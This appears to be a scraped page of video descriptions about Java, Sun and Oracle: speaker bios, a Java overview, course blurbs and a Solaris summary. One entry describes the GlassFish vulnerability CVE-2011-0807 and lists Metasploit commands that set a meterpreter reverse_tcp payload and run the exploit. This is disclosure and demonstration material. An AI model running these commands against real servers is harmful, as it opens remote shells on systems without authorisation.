globe trotter, he is easily accessible at @arungupta. View more trainings by Arun Gupta at https://www.parleys.com/author/arun-gupta Find more related tutorials at https://www.parleys.com/category/developer-training-tutorials
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Java Champions and JUG Leaders Meet Oracle Executives
 
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This panel discussion features Java Champions, JUG leaders, and Oracle software executives. Authors: Georges Saab Georges Saab is the chairperson of the OpenJDK governing board, and vice president of development for the Java Platform group at Oracle, which defines and implements the Java language, library, and the Java Virtual Machine. Saab is a more than 20-year veteran of programming language and platform development. His work with the Java Platform began as a developer of Java Standard Edition at JavaSoft and Sun Microsystems, where he was a founder of the Swing group and Java Webstart, and continued as he ran development of the JRockit JVM for many years at BEA Systems. View more trainings by Georges Saab at https://www.parleys.com/author/georges-saab Henrik Ståhl Henrik Stahl is VP of Product Management for Java and Internet of Things for Oracle, responsible for product vision and strategy for these areas. He joined Oracle as part of the BEA Systems acquisition, where he served in a similar capacityfor the JRockit family of products, which sums up to over 10 years working with JVM and Java strategy and development. During his time at Oracle, Henrik lead the effort getting the Exalogic engineered system out of the door, and for the past three years he has been driving Internet of Things strategy across Oracle focused on intelligent devices and value from business processes and data analytics. Prior to BEA, Henrik was co-founder and CTO of Swedish consultancy Omegapoint AB, the lead developer of the Swedish BankID service for issuing digital IDs to Swedish citizens and held positions at Parallel Systems, the Swedish Defence Material Administration and Ericsson in areas including IT security, system architecture and development, network engineering and support. Mr. Stahl holds a Master of Science in Engineering Physics from the Royal Institute of Technology in Sweden. He lives with his family in California and spends his spare time doing random sports, gardening and playing flamenco guitar. View more trainings by Henrik Ståhl at https://www.parleys.com/author/henrik-stahl Mattias Karlsson undefined View more trainings by Mattias Karlsson at https://www.parleys.com/author/mattias-karlsson Peter Utzschneider Mr. Utzschneider is responsible for market strategy for Java SE, JavaFX, Java ME and Java Embedded products with focus on the commercial success of the Java products, vibrancy of the Java community and Oracle's ongoing commitment to the language and technology.For over 20 years Mr. Utzschneider has been successfully marketing and selling best-of-breed software solutions in Europe and the U.S. by leveraging his ability to translate early market demand into broader market adoption. Mr. Utzschneider joined Oracle as a part of the Tangosol acquisition where he was the Vice President of Marketing. At Oracle he continued to grow the success of the Coherence Data Grid products as the industry's leading data grid solution and a key component of Oracle Fusion Middleware. View more trainings by Peter Utzschneider at https://www.parleys.com/author/peter-utzschneider Robert Clark Robert is Sr Director of Software Development for Oracle, where he is responsible for the development of Oracle's Java Platform, Micro Edition (Java ME)--a platform that provides a robust, flexible environment for applications running on mobile and embedded devices. Robert has over 20 years of experience developing software in both large and small organizations. Prior to his current role at Oracle, Robert led many successful software development teams both inside and outside of Oracle. At Oracle, he was responsible for Enterprise Manager Application Performance Management and Oracle's J2EE server prior to the integration of WebLogic. He has led teams at HP, Mercury Interactive, Attachmate, Netscape and Sun Microsystems in addition to several startups. Robert has authored numerous technical articles, and has been named as inventor on three United States patents. Robert earned a master's degree in computer science and a bachelor's degree in computer science and engineering, cum laude from the University of Connecticut. View more trainings by Robert Clark at https://www.parleys.com/author/robert-clark Find more related tutorials at https://www.parleys.com/category/developer-training-tutorials
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2.Application Development Using Java Technologies Java EE vs Java SE
 
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Java is a programming language. It was first developed by James Gosling at Sun Microsystems, which is now a part of Oracle Corporation. It was released in 1995 as a part of Sun Microsystems' Java platform. The language has developed much of its syntax from C and C++. Java applications are usually compiled to bytecode (class file) that can run on any Java Virtual Machine (JVM). Java is currently one of the most popular programming languages being used. It has about 10 million users. There are many types of Java programs: ================================== Java Applet - small program written in Java and that is downloaded from a website and executed within a web browser on a client computer. Application - executes on a client computer. If online, it has to be downloaded before being run. JAR file (Java ARchive) - used to package Java files together into a single file (almost exactly like a .zip file). Servlet - runs on a web server and helps to generate web pages. Swing application - used to build an application that has a GUI (windows, buttons, menus, etc.). EJB - runs on a web server and is used to develop large, complex websites. Java is commonly used to teach students how to program as a first language, yet is still also used by professionals. Java requires that each variable be initialized. Some older languages such as C, allow variables to go uninitialized, which can cause random failures with mysterious bugs. Java requires that each method that declares a return type, always return a value. This also prevents bugs. Java comes with a large set of classes and methods, the Java API that can be used without having to develop as much code "from scratch". Unlike C, Java primitive types, such as int, are always the same size in the number of bits which helps achieve cross-platform compatibility. Java used to be thought of as being slower than C, but that's less important in recent years with computers being faster. Java has exception-handling that requires a programmer to handle error-conditions such an Input/Output errors. Code compiled on one Java platform can be run on other platforms that support Java without modification of either the source-code nor the byte-code. For example, this means that a person can make a Java program for a Windows computer and have it run a Linux computer or a Mac computer. Java was developed to achieve 5 main goals. ===================================== It should be simple, object-oriented, distributed and easy to learn. It should be robust and secure. It should be independent of a given computer architecture or platform. It should be very performant. It should be possible to write an interpreter for the language. The language should also support parallelism and use dynamic typing. Java is object oriented. Unchanged C++ or C code will not work in Java, in most cases, though Java looks much like C and C++.Java can run on many different operating systems. This makes Java platform independent. Java does this by making the Java compiler turn code into Java bytecode instead of machine code. This means that when the program is executed, the Java Virtual Machine interprets the bytecode and translates it into machine code. The Java platform refers to a group of software products from Sun Microsystems. The platform is used to develop and run Java programs. The platform includes the execution engine (called a Java Virtual Machine) that allows Java programs to do the same thing on different computer systems.This capability of being able to develop software on one platform and running it on other platforms is called "cross-platform capability".
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Oracle Certified Associate, Java SE 7 Programmer Exam (1Z0 803): Course Introduction
 
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http://www.pearsonitcertification.com/store/oracle-certified-associate-java-se-7-programmer-exam-9780789753670 This is the course introduction for Oracle Certified Associate, Java SE 7 Programmer Exam (1Z0 803) Oracle Certified Associate, Java SE 7 Programmer Exam Complete Video Course is a comprehensive training course designed to help you master the Java Certified Associate exam. The course brings the Java Certified Associate exam topics to life through the use of real-world live instruction, demonstrations, and animations, so these foundational Java programming topics are easy and fun to learn. Simon Roberts—a leading Java instructor, trainer, book author and video trainer, and creator of the original Sun Certified Programmer, Developer, and Architect certifications for Sun Microsystems—will walk you through each topic covered in the exam, so you have a full understanding of the material. He begins with an introduction to the Oracle Certification program and also discusses preparation and test-taking strategies, so you can begin your training confidently. Simon then dives into the exam topics, covering all objectives in the Associate exam using a variety of video presentation styles, including live whiteboarding, code demonstrations, and dynamic KeyNote presentations. The course also includes dynamic interactive exercises and quizzes, so you can test your knowledge at the end of each section of the course. Skill Level Beginning to Intermediate Who Should Take This Course The primary audience includes candidates for the Oracle Certified Java SE 7 Associate Exam; however, anyone interested in building a basic competence in the Java programming language will benefit from using this course.
Larry Ellison on the Sun-Oracle Close, January 27, 2010
 
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Larry Ellison on the Sun-Oracle Close, January 27, 2010
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Java Presentation
 
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about java , who invented java, james gosling company of java , sun microsystems, owned, oracle, old name of java is oak ,java runs in 3 billion devices wora mean write one run anywhere.
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Oracle OpenWorld 2009 Keynote Highlights: James Gosling, Sun Microsystems
 
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Oracle OpenWorld 2009 Keynote Highlights: James Gosling, Sun Microsystems
Views: 5418 Oracle Video
Oracle Sun Ultra 27 Workstation Review
 
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Check out the full review: http://www.kev009.com/wp/2009/12/sun-ultra-27-review-the-ultimate-linux-workstation/ A video overview of the Sun Ultra 27 Workstation with the latest Intel Nehalem based Xeon.
Views: 19158 Kevin Bowling
Tutorial Java Sun Solaris Microsystem
 
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Oracle Solaris, sebelumnya dikenal sebagai Sun Solaris merupakan sebuah sistem operasi keluarga Unix yang sebelumnya dikembangkan oleh Sun Microsystems Inc. Sun Microsystem menggantikan Sun OS sebelumnya yang telah ada pada tahun 1993. Setelah proses akuisisi Sun oleh Oracle pada bulan januari 2010, Solaris menjadi lebih dikenal sebagai Oracle Solaris. Sistem operasi Solaris dikenal secara luas karena skalabilitas yang dimilikinya, utamanya pada sistem komputer berbasis SPARC, dan sejumlah fitur-fitur inovatif yang dibawanya seperti DTrace, ZFS (Zettabyte File System), dan Time Slider. Sistem operasi ini dapat dijalankan di atas prosesor x86 baik 32bit atau 64bit (berbasis instruksi Amd64), serta prosesor SPARC baik yang diproduksi oleh Sun ataupun Fujitsu. Solaris terdaftar sebagai sistem operasi yang kompatibel dan memenuhi spesifikasi Single Unix Specification. Solaris dalam sejarahnya dikenal sebagai perangkat lunak yang dikembangkan berbasis kode sumber tertutup, kemudian pada bulan Juni 2005 Sun Microsystem merilis sebagian besar basis kode di bawah lisensi CDDL dan mendirikan proyek sumber terbuka OpenSolaris. Melalui OpenSolaris Sun ingin membuat sebuah komunitas pengembang dan pengguna atas sistem operasi tersebut. Setelah Oracle melakukan akuisisi Sun Microsystem pada bulan Januari 2010, Oracle memutuskan untuk menghentikan distribusi OpenSolaris dan model pengembangannya. Atas keputusan oracle tersebut, komunitas OpenSolaris kemudian menanggapinya dengan membuat turunan distribusi OpenSolaris melalui proyek OpenIndiana yang merupakan bagian dari yayasan Illumos. Namun meski demikian, di mulai dari rilis Solaris 11, pembaruan atas kode-kode sumber Solaris akan tetap didistribusikan oleh Oracle dibawah lisensi CCDL setelah versi penuh biner dirilis. Oracle juga akan memulai program mitra teknologi seperti yang telah dilakukan pada produk-produk oracle lainnya dengan nama Oracle Technology Network (OTN) yang memberikan akses serta izin atas kode sumber solaris yang tengah dikembangkan kepada para mitra bisnis. Anda dapat mendownloadnya di Link ini : http://www.oracle.com/technetwork/server-storage/solaris11/downloads/index.html
Views: 1461 Ridwan Sukma
CVE-2011-0807 : Sun/Oracle GlassFish Server Authenticated Code Execution
 
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Blog : http://eromang.zataz.com Twitter : http://twitter.com/eromang Timeline : Vulnerability discovered by Jason Bowes and submitted to ZDI Initial ZDI vulnerability notification to vendor the 2010-09-23 Coordinated public release of the vulnerability the 2011-04-19 Metasploit PoC provided the 2011-08-04 PoC provided by: juan vazquez Joshua Abraham sinn3r Reference(s) : CVE-2011-0807 ZDI-11-137 Oracle CPU Apr. 2011 Affected versions : Sun GlassFish Enterprise Server 2.1, 2.1.1, 3.0.1 Java System Application Server 9.1 Tested on Windows XP SP3 with Sun GlassFish Enterprise Server 3.0.1 Description : This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) instance using a default credential, uploads, and executes commands via deploying a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x this module will try to bypass authentication instead by sending lowercase HTTP verbs. Metasploit demo : use exploit/multi/http/glassfish_deployer set RHOST 192.168.178.48 set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.178.21 exploit sysinfo getuid ipconfig
Views: 4831 Eric Romang
Installing Oracle Java/JDK 6 on Linux
 
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quick notepad tutorials ! in this video tutorials you will learn how to install and configure java jdk Java SE Development Kit on linux os Short for Java Development Kit, a software development kit SDK for producing Java programs. The JDK is developed by Sun Microsystem's JavaSoft division.

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